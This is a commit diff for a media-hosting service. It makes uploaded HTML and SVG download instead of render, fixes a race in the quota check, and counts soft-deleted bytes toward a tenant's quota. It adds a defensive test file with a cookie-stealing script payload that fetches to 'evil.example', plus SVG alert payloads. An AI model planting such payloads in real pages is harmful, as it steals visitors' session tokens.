openvibers/openvibe.media Commits
Developer-project tenants: no inline HTML/SVG from /f, race-free files quota, retained deletes count
Changes
@@@ -114,6 +114,9 @@ gets a tenant keyed by its project id, **created on first use**. The URL always- The quota counts v1 files and native v2 objects together (files uploads now use the same countas objects for every tenant). v1 file keys in project tenants carry a tenant tag, so two tenantsnever collide on identical uploads. Project tenants' files are not listed in the public gallery.++ Soft-deleted objects keep counting against a project tenant's quota until their bytes are purged.++- `/f/:key` (like `/o/:id`) sends `nosniff` and serves only images (not SVG), video, audio, PDF and++ plain text inline; anything else an uploader labels (HTML, SVG, XML…) is an `attachment`.- Not yet: reading quotas set in Network (`network.project.read`), and removing a project'stenants when the project is archived.@@@ -156,7 +156,7 @@ stop working at the next restart. **Set `MEDIA_SIGNING_SECRET` in production.****Quota.** `apps.quota_bytes` is compared against v1 file bytes plus native objects that are`uploading` (their declared size counts as a reservation) or `ready`. Soft-deleted objects do not--count. The v1 files route still counts only v1 files, so its response is unchanged.++count, except in developer-project tenants, where they count until their bytes are purged. The v1 files route still counts only v1 files, so its response is unchanged.**Purge.** Every hour, the service removes the bytes of native objects whose retention period haspassed and that have no active hold. The object row stays `deleted` with `metadata.purged_at`.@@@ -84,20 +84,6 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'try {if (!req.file) return res.status(400).json({ error: 'No file uploaded (multipart field: file)' });-- // Per-app quota check against quota_bytes (0 = unlimited): files + native objects.-- const quota = Number(req.appRow.quota_bytes) || 0;-- if (quota > 0) {-- const used = require('../objects/model').usedBytes(req.appId);-- if (used + req.file.size > quota) {-- try { fs.unlinkSync(req.file.path); } catch { /* */ }-- return res.status(413).json({-- error: 'App file quota exceeded',-- quota_bytes: quota,-- used_bytes: used,-- });-- }-- }--const digest = await sha256File(req.file.path);const name = sanitizeName(req.file.originalname);// Keys are global. A developer-project tenant's keys carry a tag of the tenant id, so two@@@ -117,6 +103,22 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'return res.status(200).json({ ...filePublic(existing), deduplicated: true });}++ // Per-app quota check against quota_bytes (0 = unlimited): files + native objects. Checked++ // after the last await, so nothing else is stored between this check and the row below++ // (concurrent uploads each saw the same usage when it ran before hashing).++ const quota = Number(req.appRow.quota_bytes) || 0;++ if (quota > 0) {++ const used = require('../objects/model').usedBytes(req.appId);++ if (used + req.file.size > quota) {++ try { fs.unlinkSync(req.file.path); } catch { /* */ }++ return res.status(413).json({++ error: 'App file quota exceeded',++ quota_bytes: quota,++ used_bytes: used,++ });++ }++ }++const dest = path.join(appDir(req.appId), key);try {fs.renameSync(req.file.path, dest);@@@ -488,8 +488,13 @@ function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {/** Bytes counted against apps.quota_bytes: v1 files + live native objects (reservations included). */function usedBytes(appId, excludeId = null) {++ // Developer-project tenants (third-party uploaders) also pay for soft-deleted bytes until they are++ // purged: those stay on disk for the retention period, and upload -> delete -> upload would++ // otherwise grow the disk without bound.++ const app = db.getApp(appId);++ const retained = app && app.project_id ? " OR (lifecycle_status = 'deleted' AND json_extract(metadata, '$.purged_at') IS NULL)" : '';const native = db.get(`SELECT COALESCE(SUM(size_bytes), 0) AS b FROM media_objects-- WHERE app_id = ? AND legacy_ref IS NULL AND lifecycle_status IN ('uploading', 'ready') AND id != ?`,++ WHERE app_id = ? AND legacy_ref IS NULL AND (lifecycle_status IN ('uploading', 'ready')${retained}) AND id != ?`,[appId, excludeId || '']).b;return db.appFilesBytes(appId) + native;}@@@ -417,3 +417,4 @@ publicRouter.get('/:id', async (req, res) => {module.exports = router;module.exports.contentHandlers = [contentAuth, tenantCors, putContent];module.exports.publicRouter = publicRouter;++module.exports.INLINE = INLINE;@@@ -400,8 +400,13 @@ router.get('/f/:key', (req, res) => {const stat = fs.statSync(filePath);const range = req.headers.range;const contentType = row.mime || 'application/octet-stream';++ const inline = /^[\w.+-]+\/[\w.+-]+$/.test(contentType) && require('../objects/routes').INLINE.test(contentType.toLowerCase());++ // Uploaders (developer apps included) choose the Content-Type: only inert types render here,++ // everything else (HTML, SVG, XML…) downloads, so it never runs on this origin.const headers = {'X-Robots-Tag': 'noindex',++ 'X-Content-Type-Options': 'nosniff',++ 'Content-Disposition': `${inline ? 'inline' : 'attachment'}; filename="${row.key}"`,'Cache-Control': sandbox ? 'private, no-store' : 'public, max-age=86400',};if (range) {nnew file mode 100644@@@ -0,0 +1,155 @@++'use strict';++// Abuse cases for developer-project tenants (ADR-014), where the uploader is a third party:++// 1. /f/:key must not render uploaded HTML/SVG inline on the openvibe.media origin (whose++// JS-readable ov_token cookie is the visitor's Network access token): nosniff, and++// `attachment` for anything that is not an image (not SVG), video, audio, PDF or plain text.++// 2. Concurrent v1 file uploads must not all pass the quota check before any of them is stored.++// 3. Upload -> delete -> upload must not grow a project tenant's disk without bound: soft-deleted++// bytes are kept for the retention period, so they count until purged.++const assert = require('assert');++const fs = require('fs');++const os = require('os');++const path = require('path');++const http = require('http');++const crypto = require('crypto');++++const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tenantabuse-'));++const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++process.env.DB_PATH = path.join(tmp, 'media.db');++process.env.VOD_PATH = dir('vods');++process.env.FILES_PATH = dir('files');++process.env.OBJECTS_PATH = dir('objects');++process.env.THUMBNAILS_PATH = dir('thumbnails');++process.env.OV_NETWORK_URL = 'https://openvibe.network';++process.env.MEDIA_PUBLIC_URL = 'https://media.test';++process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';++process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';++++const db = require('../server/db/database');++const auth = require('../server/auth');++const objectRoutes = require('../server/objects/routes');++const model = require('../server/objects/model');++const { serviceAuth, ids } = require('openvibe-contracts');++const express = require('express');++++const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++auth._setNetworkPublicKeyForTests(keys.publicKey);++++const PA = `prj_${ids.ulid()}`;++const PB = `prj_${ids.ulid()}`;++const APP_A = `app_${ids.ulid()}`;++const now = Math.floor(Date.now() / 1000);++const appTok = ({ project = PA, env = 'production' } = {}) => serviceAuth.signServiceToken({++ iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: [project],++ project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,++}, keys.privateKey);++++const app = express();++app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);++app.use(express.json());++app.use('/api/v1/:app/files', require('../server/files/routes'));++app.use('/api/v2/:app/objects', objectRoutes);++app.use('/o', objectRoutes.publicRouter);++app.use('/', require('../server/public/routes'));++const server = http.createServer(app);++++(async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => base + String(u).replace('https://media.test', '');++ const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {++ const h = { ...headers };++ if (bearer) h.authorization = `Bearer ${bearer}`;++ let body;++ if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }++ if (form) body = form;++ if (raw !== undefined) body = raw;++ const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });++ const text = await r.text();++ let parsed = null;++ try { parsed = JSON.parse(text); } catch { /* bytes */ }++ return { status: r.status, body: parsed, text, headers: r.headers };++ };++ const upload = (project, bearer, content, name, type) => {++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from(content)], { type }), name);++ return req('POST', `/api/v1/${project}/files`, { bearer, form: fd });++ };++++ // ── 1. Uploaded HTML / SVG never renders on the Media origin ──++ const html = '<script>fetch("https://evil.example/?t="+document.cookie)</script>';++ let r = await upload(PA, appTok(), html, 'evil.html', 'text/html');++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff', '/f/ sends nosniff');++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `HTML is served as a download, got ${r.headers.get('content-disposition')}`);++ r = await req('GET', `/f/${encodeURIComponent((await upload(PA, appTok(), html, 'evil.html', 'text/html')).body.key)}`, { headers: { range: 'bytes=0-10' } });++ assert.strictEqual(r.status, 206);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'range responses too');++ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff');++++ r = await upload(PA, appTok(), '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>', 'x.svg', 'image/svg+xml');++ assert.strictEqual(r.status, 201);++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'SVG is served as a download');++++ // MIME types are case-insensitive: image/SVG+xml is still SVG. (FormData lowercases, so raw multipart.)++ const boundary = 'ovboundary';++ const multipart = Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="y.svg"\r\nContent-Type: image/SVG+xml\r\n\r\n<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>\r\n--${boundary}--\r\n`);++ r = await req('POST', `/api/v1/${PA}/files`, { bearer: appTok(), raw: multipart, headers: { 'content-type': `multipart/form-data; boundary=${boundary}` } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `mixed-case SVG is a download, got ${r.headers.get('content-type')} ${r.headers.get('content-disposition')}`);++++ // Sandbox signed URLs get the same treatment.++ r = await upload(PA, appTok({ env: 'sandbox' }), html, 'evil.html', 'text/html');++ assert.strictEqual(r.status, 201);++ r = await req('GET', local(r.body.url));++ assert.strictEqual(r.status, 200);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'sandbox HTML is a download too');++++ // Pictures and plain text still display inline.++ const png = Buffer.from('89504e470d0a1a0a0000000d49484452', 'hex');++ r = await upload(PA, appTok(), png, 'pic.png', 'image/png');++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.strictEqual(r.headers.get('content-type'), 'image/png');++ assert.ok(/^inline/.test(r.headers.get('content-disposition') || ''), 'images stay inline');++++ // ── 2. Concurrent v1 uploads cannot all slip under the quota ──++ const sbQuota = 1024 * 1024;++ db.run('DELETE FROM files WHERE app_id = ?', [`${PA}-sandbox`]);++ const chunk = 400 * 1024;++ const results = await Promise.all(Array.from({ length: 6 }, (_, i) => upload(PA, appTok({ env: 'sandbox' }), crypto.randomBytes(chunk), `c${i}.bin`, 'application/octet-stream')));++ const stored = results.filter(x => x.status === 201).length;++ assert.ok(stored <= 2, `at most 2 × 400 KB fit in 1 MB, ${stored} were stored`);++ assert.ok(model.usedBytes(`${PA}-sandbox`) <= sbQuota, 'sandbox usage stays within its quota');++++ // ── 3. Upload → delete → upload cannot outgrow the quota while the bytes are retained ──++ const tok = appTok({ project: PB, env: 'sandbox' });++ const size = 700 * 1024;++ let refusedAt = null;++ for (let i = 0; i < 4 && refusedAt == null; i++) {++ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size, mime_type: 'application/octet-stream' } });++ if (r.status === 413) { refusedAt = i; break; }++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const id = r.body.id;++ r = await req('PUT', local(r.body.upload.url), { raw: crypto.randomBytes(size), headers: { 'content-type': 'application/octet-stream' } });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ r = await req('POST', `/api/v2/${PB}/objects/${id}/complete`, { bearer: tok, json: {} });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ r = await req('DELETE', `/api/v2/${PB}/objects/${id}`, { bearer: tok });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ }++ assert.strictEqual(refusedAt, 1, 'soft-deleted bytes still on disk count against a project tenant quota');++ // Once purged, the space is free again.++ db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE app_id = ?", [`${PB}-sandbox`]);++ model.purgeExpired({ retentionDays: 30 });++ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size } });++ assert.strictEqual(r.status, 201, 'purged bytes no longer count');++++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('developer-project tenant abuse: all checks passed');++})().catch((err) => { console.error(err); process.exit(1); });
@@ -114,6 +114,9 @@ gets a tenant keyed by its project id, **created on first use**. The URL always
@@ -114,6 +114,9 @@ gets a tenant keyed by its project id, **created on first use**. The URL always
- The quota counts v1 files and native v2 objects together (files uploads now use the same count
- The quota counts v1 files and native v2 objects together (files uploads now use the same count
as objects for every tenant). v1 file keys in project tenants carry a tenant tag, so two tenants
as objects for every tenant). v1 file keys in project tenants carry a tenant tag, so two tenants
never collide on identical uploads. Project tenants' files are not listed in the public gallery.
never collide on identical uploads. Project tenants' files are not listed in the public gallery.
+ Soft-deleted objects keep counting against a project tenant's quota until their bytes are purged.
+- `/f/:key` (like `/o/:id`) sends `nosniff` and serves only images (not SVG), video, audio, PDF and
+ plain text inline; anything else an uploader labels (HTML, SVG, XML…) is an `attachment`.
- Not yet: reading quotas set in Network (`network.project.read`), and removing a project's
- Not yet: reading quotas set in Network (`network.project.read`), and removing a project's
tenants when the project is archived.
tenants when the project is archived.
@@ -156,7 +156,7 @@ stop working at the next restart. **Set `MEDIA_SIGNING_SECRET` in production.**
@@ -156,7 +156,7 @@ stop working at the next restart. **Set `MEDIA_SIGNING_SECRET` in production.**
**Quota.** `apps.quota_bytes` is compared against v1 file bytes plus native objects that are
**Quota.** `apps.quota_bytes` is compared against v1 file bytes plus native objects that are
`uploading` (their declared size counts as a reservation) or `ready`. Soft-deleted objects do not
`uploading` (their declared size counts as a reservation) or `ready`. Soft-deleted objects do not
-count. The v1 files route still counts only v1 files, so its response is unchanged.
+count, except in developer-project tenants, where they count until their bytes are purged. The v1 files route still counts only v1 files, so its response is unchanged.
**Purge.** Every hour, the service removes the bytes of native objects whose retention period has
**Purge.** Every hour, the service removes the bytes of native objects whose retention period has
passed and that have no active hold. The object row stays `deleted` with `metadata.purged_at`.
passed and that have no active hold. The object row stays `deleted` with `metadata.purged_at`.
@@ -84,20 +84,6 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'
@@ -84,20 +84,6 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'
try {
try {
if (!req.file) return res.status(400).json({ error: 'No file uploaded (multipart field: file)' });
if (!req.file) return res.status(400).json({ error: 'No file uploaded (multipart field: file)' });
- // Per-app quota check against quota_bytes (0 = unlimited): files + native objects.
- const quota = Number(req.appRow.quota_bytes) || 0;
- if (quota > 0) {
- const used = require('../objects/model').usedBytes(req.appId);
- if (used + req.file.size > quota) {
- try { fs.unlinkSync(req.file.path); } catch { /* */ }
- return res.status(413).json({
- error: 'App file quota exceeded',
- quota_bytes: quota,
- used_bytes: used,
- });
- }
- }
-
const digest = await sha256File(req.file.path);
const digest = await sha256File(req.file.path);
const name = sanitizeName(req.file.originalname);
const name = sanitizeName(req.file.originalname);
// Keys are global. A developer-project tenant's keys carry a tag of the tenant id, so two
// Keys are global. A developer-project tenant's keys carry a tag of the tenant id, so two
@@ -117,6 +103,22 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'
@@ -117,6 +103,22 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'
return res.status(200).json({ ...filePublic(existing), deduplicated: true });
return res.status(200).json({ ...filePublic(existing), deduplicated: true });
}
}
+ // Per-app quota check against quota_bytes (0 = unlimited): files + native objects. Checked
+ // after the last await, so nothing else is stored between this check and the row below
+ // (concurrent uploads each saw the same usage when it ran before hashing).
+ const quota = Number(req.appRow.quota_bytes) || 0;
+ if (quota > 0) {
+ const used = require('../objects/model').usedBytes(req.appId);
+ if (used + req.file.size > quota) {
+ try { fs.unlinkSync(req.file.path); } catch { /* */ }
+ return res.status(413).json({
+ error: 'App file quota exceeded',
+ quota_bytes: quota,
+ used_bytes: used,
+ });
+ }
+ }
+
const dest = path.join(appDir(req.appId), key);
const dest = path.join(appDir(req.appId), key);
try {
try {
fs.renameSync(req.file.path, dest);
fs.renameSync(req.file.path, dest);
@@ -488,8 +488,13 @@ function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {
@@ -488,8 +488,13 @@ function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {
/** Bytes counted against apps.quota_bytes: v1 files + live native objects (reservations included). */
/** Bytes counted against apps.quota_bytes: v1 files + live native objects (reservations included). */
function usedBytes(appId, excludeId = null) {
function usedBytes(appId, excludeId = null) {
+ // Developer-project tenants (third-party uploaders) also pay for soft-deleted bytes until they are
+ // purged: those stay on disk for the retention period, and upload -> delete -> upload would
+ // otherwise grow the disk without bound.
+ const app = db.getApp(appId);
+ const retained = app && app.project_id ? " OR (lifecycle_status = 'deleted' AND json_extract(metadata, '$.purged_at') IS NULL)" : '';
const native = db.get(`SELECT COALESCE(SUM(size_bytes), 0) AS b FROM media_objects
const native = db.get(`SELECT COALESCE(SUM(size_bytes), 0) AS b FROM media_objects
- WHERE app_id = ? AND legacy_ref IS NULL AND lifecycle_status IN ('uploading', 'ready') AND id != ?`,
+ WHERE app_id = ? AND legacy_ref IS NULL AND (lifecycle_status IN ('uploading', 'ready')${retained}) AND id != ?`,
[appId, excludeId || '']).b;
[appId, excludeId || '']).b;
return db.appFilesBytes(appId) + native;
return db.appFilesBytes(appId) + native;
}
}
@@ -417,3 +417,4 @@ publicRouter.get('/:id', async (req, res) => {
@@ -417,3 +417,4 @@ publicRouter.get('/:id', async (req, res) => {
module.exports = router;
module.exports = router;
module.exports.contentHandlers = [contentAuth, tenantCors, putContent];
module.exports.contentHandlers = [contentAuth, tenantCors, putContent];
module.exports.publicRouter = publicRouter;
module.exports.publicRouter = publicRouter;
+module.exports.INLINE = INLINE;
@@ -400,8 +400,13 @@ router.get('/f/:key', (req, res) => {
@@ -400,8 +400,13 @@ router.get('/f/:key', (req, res) => {
const stat = fs.statSync(filePath);
const stat = fs.statSync(filePath);
const range = req.headers.range;
const range = req.headers.range;
const contentType = row.mime || 'application/octet-stream';
const contentType = row.mime || 'application/octet-stream';
+ const inline = /^[\w.+-]+\/[\w.+-]+$/.test(contentType) && require('../objects/routes').INLINE.test(contentType.toLowerCase());
+ // Uploaders (developer apps included) choose the Content-Type: only inert types render here,
+ // everything else (HTML, SVG, XML…) downloads, so it never runs on this origin.
const headers = {
const headers = {
'X-Robots-Tag': 'noindex',
'X-Robots-Tag': 'noindex',
+ 'X-Content-Type-Options': 'nosniff',
+ 'Content-Disposition': `${inline ? 'inline' : 'attachment'}; filename="${row.key}"`,
'Cache-Control': sandbox ? 'private, no-store' : 'public, max-age=86400',
'Cache-Control': sandbox ? 'private, no-store' : 'public, max-age=86400',
};
};
if (range) {
if (range) {
new file mode 100644
new file mode 100644
@@ -0,0 +1,155 @@
@@ -0,0 +1,155 @@
+'use strict';
+// Abuse cases for developer-project tenants (ADR-014), where the uploader is a third party:
+// 1. /f/:key must not render uploaded HTML/SVG inline on the openvibe.media origin (whose
+// JS-readable ov_token cookie is the visitor's Network access token): nosniff, and
+// `attachment` for anything that is not an image (not SVG), video, audio, PDF or plain text.
+// 2. Concurrent v1 file uploads must not all pass the quota check before any of them is stored.
+// 3. Upload -> delete -> upload must not grow a project tenant's disk without bound: soft-deleted
+// bytes are kept for the retention period, so they count until purged.
+const assert = require('assert');
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const http = require('http');
+const crypto = require('crypto');
+
+const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tenantabuse-'));
+const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+process.env.DB_PATH = path.join(tmp, 'media.db');
+process.env.VOD_PATH = dir('vods');
+process.env.FILES_PATH = dir('files');
+process.env.OBJECTS_PATH = dir('objects');
+process.env.THUMBNAILS_PATH = dir('thumbnails');
+process.env.OV_NETWORK_URL = 'https://openvibe.network';
+process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';
+process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';
+
+const db = require('../server/db/database');
+const auth = require('../server/auth');
+const objectRoutes = require('../server/objects/routes');
+const model = require('../server/objects/model');
+const { serviceAuth, ids } = require('openvibe-contracts');
+const express = require('express');
+
+const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+auth._setNetworkPublicKeyForTests(keys.publicKey);
+
+const PA = `prj_${ids.ulid()}`;
+const PB = `prj_${ids.ulid()}`;
+const APP_A = `app_${ids.ulid()}`;
+const now = Math.floor(Date.now() / 1000);
+const appTok = ({ project = PA, env = 'production' } = {}) => serviceAuth.signServiceToken({
+ iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: [project],
+ project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
+}, keys.privateKey);
+
+const app = express();
+app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
+app.use(express.json());
+app.use('/api/v1/:app/files', require('../server/files/routes'));
+app.use('/api/v2/:app/objects', objectRoutes);
+app.use('/o', objectRoutes.publicRouter);
+app.use('/', require('../server/public/routes'));
+const server = http.createServer(app);
+
+(async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => base + String(u).replace('https://media.test', '');
+ const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {
+ const h = { ...headers };
+ if (bearer) h.authorization = `Bearer ${bearer}`;
+ let body;
+ if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }
+ if (form) body = form;
+ if (raw !== undefined) body = raw;
+ const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });
+ const text = await r.text();
+ let parsed = null;
+ try { parsed = JSON.parse(text); } catch { /* bytes */ }
+ return { status: r.status, body: parsed, text, headers: r.headers };
+ };
+ const upload = (project, bearer, content, name, type) => {
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from(content)], { type }), name);
+ return req('POST', `/api/v1/${project}/files`, { bearer, form: fd });
+ };
+
+ // ── 1. Uploaded HTML / SVG never renders on the Media origin ──
+ const html = '<script>fetch("https://evil.example/?t="+document.cookie)</script>';
+ let r = await upload(PA, appTok(), html, 'evil.html', 'text/html');
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff', '/f/ sends nosniff');
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `HTML is served as a download, got ${r.headers.get('content-disposition')}`);
+ r = await req('GET', `/f/${encodeURIComponent((await upload(PA, appTok(), html, 'evil.html', 'text/html')).body.key)}`, { headers: { range: 'bytes=0-10' } });
+ assert.strictEqual(r.status, 206);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'range responses too');
+ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff');
+
+ r = await upload(PA, appTok(), '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>', 'x.svg', 'image/svg+xml');
+ assert.strictEqual(r.status, 201);
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'SVG is served as a download');
+
+ // MIME types are case-insensitive: image/SVG+xml is still SVG. (FormData lowercases, so raw multipart.)
+ const boundary = 'ovboundary';
+ const multipart = Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="y.svg"\r\nContent-Type: image/SVG+xml\r\n\r\n<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>\r\n--${boundary}--\r\n`);
+ r = await req('POST', `/api/v1/${PA}/files`, { bearer: appTok(), raw: multipart, headers: { 'content-type': `multipart/form-data; boundary=${boundary}` } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `mixed-case SVG is a download, got ${r.headers.get('content-type')} ${r.headers.get('content-disposition')}`);
+
+ // Sandbox signed URLs get the same treatment.
+ r = await upload(PA, appTok({ env: 'sandbox' }), html, 'evil.html', 'text/html');
+ assert.strictEqual(r.status, 201);
+ r = await req('GET', local(r.body.url));
+ assert.strictEqual(r.status, 200);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'sandbox HTML is a download too');
+
+ // Pictures and plain text still display inline.
+ const png = Buffer.from('89504e470d0a1a0a0000000d49484452', 'hex');
+ r = await upload(PA, appTok(), png, 'pic.png', 'image/png');
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.strictEqual(r.headers.get('content-type'), 'image/png');
+ assert.ok(/^inline/.test(r.headers.get('content-disposition') || ''), 'images stay inline');
+
+ // ── 2. Concurrent v1 uploads cannot all slip under the quota ──
+ const sbQuota = 1024 * 1024;
+ db.run('DELETE FROM files WHERE app_id = ?', [`${PA}-sandbox`]);
+ const chunk = 400 * 1024;
+ const results = await Promise.all(Array.from({ length: 6 }, (_, i) => upload(PA, appTok({ env: 'sandbox' }), crypto.randomBytes(chunk), `c${i}.bin`, 'application/octet-stream')));
+ const stored = results.filter(x => x.status === 201).length;
+ assert.ok(stored <= 2, `at most 2 × 400 KB fit in 1 MB, ${stored} were stored`);
+ assert.ok(model.usedBytes(`${PA}-sandbox`) <= sbQuota, 'sandbox usage stays within its quota');
+
+ // ── 3. Upload → delete → upload cannot outgrow the quota while the bytes are retained ──
+ const tok = appTok({ project: PB, env: 'sandbox' });
+ const size = 700 * 1024;
+ let refusedAt = null;
+ for (let i = 0; i < 4 && refusedAt == null; i++) {
+ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size, mime_type: 'application/octet-stream' } });
+ if (r.status === 413) { refusedAt = i; break; }
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const id = r.body.id;
+ r = await req('PUT', local(r.body.upload.url), { raw: crypto.randomBytes(size), headers: { 'content-type': 'application/octet-stream' } });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ r = await req('POST', `/api/v2/${PB}/objects/${id}/complete`, { bearer: tok, json: {} });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ r = await req('DELETE', `/api/v2/${PB}/objects/${id}`, { bearer: tok });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ }
+ assert.strictEqual(refusedAt, 1, 'soft-deleted bytes still on disk count against a project tenant quota');
+ // Once purged, the space is free again.
+ db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE app_id = ?", [`${PB}-sandbox`]);
+ model.purgeExpired({ retentionDays: 30 });
+ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size } });
+ assert.strictEqual(r.status, 201, 'purged bytes no longer count');
+
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('developer-project tenant abuse: all checks passed');
+})().catch((err) => { console.error(err); process.exit(1); });